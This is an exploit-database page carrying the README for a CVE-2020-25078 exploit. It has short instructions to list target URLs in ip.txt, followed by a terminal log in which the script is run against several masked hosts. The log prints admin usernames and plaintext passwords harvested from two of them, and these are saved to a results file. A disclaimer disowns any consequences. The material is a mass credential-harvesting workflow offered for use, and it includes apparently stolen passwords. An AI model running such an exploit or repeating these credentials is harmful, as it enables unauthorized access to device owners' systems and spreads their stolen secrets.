Sploitus

Exploit for CVE-2020-25078

githubexploit · 2021-10-15

Exploit Code

README56 lines
## https://sploitus.com/exploit?id=0DFCE8DD-F281-52D4-94BC-0255A81EC372
# CVE-2020-25078

# Instructions
The attack URL is located in the same directory as ip.txt.

The attack IP is placed in the same directory as ip.txt.

# Terminal Log
root@localhost:~/CVE-2020-25078#ls

CVE-2020-25078.py
ip.txt

root@localhost:~/CVE-2020-25078#cat ./ip.txt

https://xxx.xxx.xxx.xxx:3128

http://xxx.xxx.xxx.xxx:80

https://xxx.xxx.xxx.xxx:8080

https://xxx.xxx.xxx.xxx:443

root@localhost:~/CVE-2020-25078#python3 ./CVE-2020-25078.py

Starting the exploit... [+Login URL] ==> http://xxx.xxx.xxx.xxx:80
Username: ['admin'] Password: ['Sruthimina123']

[+Login URL] ==> http://xxx.xxx.xxx.xxx:443
Username: ['admin'] Password: ['ming502219']

root@localhost:~/CVE-2020-25078#ls -l

CVE-2020-25078.py

exploit_ok.txt

ip.txt

README.md

root@localhost:~/CVE-2020-25078# cat ./exploit_ok.txt

[+Login URL] ==> http://xxx.xxx.xxx.xxx:80
[+Username] ==> ['admin']
[+Password] ==> ['Sruthimina123']

[+Login URL] ==> http://xxx.xxx.xxx.xxx:443
[+Username] ==> ['admin']
[+Password] ==> ['ming502219']

root@localhost:~/CVE-2020-25078#

# Disclaimers
Due to the dissemination and use of the information provided in this article, any direct or indirect consequences and losses incurred shall be the responsibility of the user himself. The author shall not bear any responsibility for these matters.